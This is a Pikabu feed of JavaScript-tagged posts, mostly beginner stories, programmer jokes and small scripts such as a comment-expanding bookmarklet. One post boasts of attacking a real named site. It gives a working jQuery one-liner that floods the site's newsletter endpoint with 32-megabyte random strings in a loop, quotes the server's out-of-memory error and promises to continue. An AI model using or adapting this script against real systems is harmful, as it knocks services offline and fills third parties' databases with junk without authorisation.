Войти
Войти
 

Регистрация

Уже есть аккаунт?
Полная версия Пикабу
Любые посты за всё время, сначала свежие, с любым рейтингом

поиск...

Как я JavaScript учить начал

Просто начал и все. Без всяких размышлений о великом будущем своем, как погромиста, без особых фантазий на тему, что теперь точно смогу написать BolgenOS. Я даже не совсем понимаю, зачем я учу JavaScript.

Последний раз я был быдлокодером в школе, где нас учили писать на... BASIC. В 2001 году, Карл! В то время, как почти везде уже учили Pascal. Потом я пытался писать на Delphi, но кроме генератора заданного количества случайных чисел в заданном интервале ничего написать не смог (нужно было для дипломной работы).

Потом было по чуть-чуть MAXScript и MEL (исключительно в объеме «мне тут нужна своя кнопка для создания шарика»). В общем, ничего, кроме «Hello, World!» на подавляющем большинстве языков программирования я ничего никогда не писал и не напишу (и то лишь потому, что «Hello, World!» учат писать на первых страницах любого учебника).

А JavaScript мне не нужен особо. Ни в прикладных моментах (для себя мне на нем писать нечего), ни в глобальных. Но уже недели полторы я читаю про него все, что можно, в том числе и MDN. Выходит около часа в день на это дело. Немного пока, но тут, как пойдет.

Вчера я начал разбираться с массивами и в конце своего часа накидал вот такой скрипт:

Как я JavaScript учить начал Программирование, Javascript, Ученики, Учусь, Языки программирования

Без повторения примеров и уроков. Просто было интересно, получится ли. Все заработало и закрутилось, как было нужно.

Да, я знаю, что в ES6 все будет выглядеть иначе и много, где я вижу рекомендации начинать уже учиться сразу на этом стандарте, но прежний мне понятнее. Пока я даже не быдлокодер. И делюсь, собственно, даже не самим скриптом, а тем, что у меня что-то получилось написать после, де-факто, 17 лет отсутствия всяких опытов с программированием.

  •  
  • 180
  •  

Занимательная Картография: редкие мобы

в

Привет пикабу! Давно не писал, так как по проекту особо не было новостей.

Однако нашел время и допили плагин для показа рарников.


Смотреть тут - http://maps.dadesign.ru/azeroth/

Занимательная Картография: редкие мобы Занимательная картография, World of Warcraft, Photoshop, Javascript
Показать полностью
  •  
  • 44
  •  

Логично

в
Логично
  •  
  • 774
  •  

Может кто при помощи C++ опишет?)

в
Может кто при помощи C++ опишет?)
  •  
  • 277
  •  

Шлём `Привет` кэшбери

Вижу пост

Не долго парясь нахожу в интернете их сайт http://gdc.group


Ооокей... Смотрим что там и как. И оказывается что фильтр почты, которую к ним на рассылку можно закинуть - фиктивный. Те если отправить руками то можно записать что угодно.


http://gdc.group/files/action/ajax.php?email=1


Методом перебора узнаём что под поле почты выделено 32милиионов(2^25) символов строка... А это 32 мегабайта.


Пишем небольшой скрипт


i=0; spam = () => { $.post('http://gdc.group/files/action/ajax.php', { email: Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('') }, (a)=>{console.log(++i, a); spam();}); }; spam();

Хотя на деле лучше степень 20 гдето, потому как на лимите там памяти не хватает.


Ну и итого всё..) Память у сервиса кончилась, удачи разрабам разгребать говно и фиксить дыры..)

Как минимум гигов на 10 в базу я поднасрать успел, пока память не закончилась... Если ребутнут не пофиксив, продолжим...


Такие успешные парни, а найти разраба не из студентов не смогли =\


Теперь всегда так:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 4304128 bytes) in /home/bitrix/ext_www/gdc.group/files/action/ajax.php on line 8

Ещё и битрикс... Фи...

  •  
  • 7219
  •  

Действительно удачи!

в
Действительно удачи!
  •  
  • 2402
  •  

Не смотри на нее JavaScript вечен

в
Не смотри на нее JavaScript вечен
  •  
  • 241
  •  

Ответ на главный вопрос человечества

в
Ответ на главный вопрос человечества
  •  
  • 246
  •  

Супер-босс «Все тонкости javascript» не влез в кадр

в
Супер-босс «Все тонкости javascript» не влез в кадр
  •  
  • 1344
  •  

Мы написали его операционную систему на JavaScript

в
  •  
  • 189
  •  

Жестокое обращение с животными

в
Жестокое обращение с животными
  •  
  • 1738
  •  

Как дед на бэке воевал, да юзверов json-ом крыл.

Навеяно постом местным да комментом моим....


В: Деда, деда, расскажи как ты на Pikabu воевал?


Д: Нас было двое в бэкенде, прикрывали баги в тылах да сервера деплоили. В минутки затишья REST-ом баловались, как уж без ентого, все мы были молоды тоды.


Д (мечтательно): Эх, бывало завернёшь json-чик в http-шэчку.....PHP-шка пыхтит, но сериализует... А ПОТОМ ХУЯК и Exception, Петрович орет матом "TypeError, растуды её тудэй", а я чего, давай "спокуха" говорю, кастовать надо было да запиклить опосле. Вроде пофиксилось, Отлично, работаем дальше!


В: А кто ещё был, неужели только вдвоем?


Д: Были ещё несколько, на фронтах воевали. Я их не знал, только слышал, какие был бои ожесточенные - за каждый пиксель бились. Ходють байки, якобы даже редизайн однажды пережили, страху натерпелись.. Юзвера обезьян на CSS-ы натравливали, да скрипты на свои подменяли.


В (крепче планшет обнимая): 😧


Д (затягивая вейп): дааа, сложное было время.

  •  
  • 110
  •  

Да я таких игр мильён знаю

в
Да я таких игр мильён знаю
  •  
  • 2149
  •  

Безопасность прошлого

в

Раньше, в старых версиях оп. систем, не особо парились на счет безопасности, так как считалось, что взлом - что-то запредельное да и нереальное вообще (слова 'песочница' в IT сфере еще и в помине не было). И вот, в 2015 году, основатель некого форума "danooct1" (название форума, он уже закрыт) выложил копию JavaScript'а, который немного больше себе позволял. Его способности включали создание бесчисленное кол. доп. окон, воспроизведение звука и его дублирование (во многих браузерах это запрещается) и все, что нельзя позволять делать JS. На его YouTube канале вышло видео, где он демонстрирует его работу, очень интересно выглядит.

Автор канала: danooct1 (https://www.youtube.com/channel/UCqbkm47qBxDj-P3lI9voIAw), на своем канале он рассказывает про новые и старые вирусы

Видео (на английском, но в основном он говорит про последствия запуска этого JS кода):

https://www.youtube.com/watch?v=LSgk7ctw1HY

  •  
  • 47
  •  

Когда у тебя много общего с JavaScript

Когда у тебя много общего с JavaScript Javascript, Пальцы, Инвалид

Читаю я тут самоучитель, и понимаю. что у нас с ним много общего. У меня тоже нет пальцев)

  •  
  • 208
  •  

Суровый HR из Телеграма

Решил я тут вчера резюме запостить в телеге и работку новую подыскать. И вот такой HR меня нашел минут через 10 после публикации. Хз даже что это ))

Суровый HR из Телеграма Telegram, Javascript, Работа, Frontend, Pikaweb
  •  
  • 8858
  •  

Первый пост

Пикабу я читаю достаточно долго, и меня начало раздражать, когда хочется прочитать все комменты, и приходится много раз клацать "раскрыть ветку", "еще комментарии" и "показать еще 4562 комментария". Решил автоматизировать этот процесс.

Засел, и за относительно небольшое время создал этот код:

for(var a,b;;){b=!0;a=document.getElementsByClassName("comments__more-button");for(var c in a)a[c].click&&"none"!=a[c].style.display&&(a[c].click(),b=!1);if(b)break}for(;;){a=document.getElementsByClassName("comment-toggle-children_collapse");if(0==a.length)break;for(c in a)a[c].click&&a[c].click()}for(;;){b=!0;a=document.getElementsByClassName("comment__hidden-toggle");for(c in a)a[c].click&&"none"!=a[c].style.display&&(a[c].click(),b=!1);if(b)break};

Сначала это просто лежало в текстовом файле, а когда мне надо было развернуть комменты, я копипастил в консоль. Потом мне и это надоело, и я сделал букмарклет. Вы можете найти его по следующему адресу:

https://nulash.github.io/pikabu.html


Информация для тех, кто не разбирается в программировании ВООБЩЕ. Если вам кто-то предлагает сделать что-то подобное, скажем, выполнить в консоли код, смысла которого вы не понимаете, или создать букмарклет - не делайте этого! Вы не знаете, что это за человек, и что делает этот код, а таким образом в принципе, можно и доступ к аккаунту получить.

  •  
  • 28
  •  

Лайфхак для разработчиков: если кодить на JavaScript под водой, то никто не поймёт, что вы плачете

Лайфхак для разработчиков: если кодить на JavaScript под водой, то никто не поймёт, что вы плачете
  •  
  • 1528
  •  

Домашняя бухгалтерия, или Javascript от не программиста | Часть [0]

Доброго времени суток вам, пикабушники. Решил поделиться с вами личным рецептом как легко и без напряга вести домашнюю бухгалтерию, записывая все покупки, при этом не тратя много времени и сил.
если кому интересно - прошу под кат, остальные проходим мимо.

Коммент для минусов прилагается.

Домашняя бухгалтерия, или Javascript от не программиста | Часть [0] Javascript, Программирование на android, Android, Субд, Excel, Длиннопост, Домашняя бухгалтерия, Моё

Какое-то время назад появилась необходимость вести домашнюю бухгалтерию и собирать статистику по тому какие продукты покупаются, как часто, за сколько, где и т.п., с целью оптимизации расходов и планирования домашнего бюджета.
Но после нескольких неудачных попыток реализации проекта средствами Excel, Access и т.п., пришел к пониманию нескольких ключевых моментов:
1) Решение должно быть на мобильной платформе (т.е. никакого ПК)
2) Действия должны быть максимально простыми и удобными (т.е. чтобы все можно было делать на ходу в пару кликов)
3) Действия не должны занимать много времени

Подробно рассмотрев все вышеперечисленные пункты, я остановил свой выбор на реализации проекта на платформе Andrioid, но к сожалению изучив весь Play Market осознал что готовых решений на данную тему там или нет, или есть, но чем-то они меня не устраивают. В основном в большинстве случаев это было - не гибкость, т.е. невозможность изменять некоторые пункты под свои конкретные нужды.
Вариант написать свою программу под дройда, к сожалению, тоже был забракован, т.к. я не имею опыта разработки для дройда, а свободного времени очень мало.
Но, в итоге, решение было таки найдено!

Показать полностью 8
  •  
  • 172
  •  

Программисткое

в
Программисткое Не баян, Программирование, Javascript, Комиксы

Текст другой, не боян :)

  •  
  • 1800
  •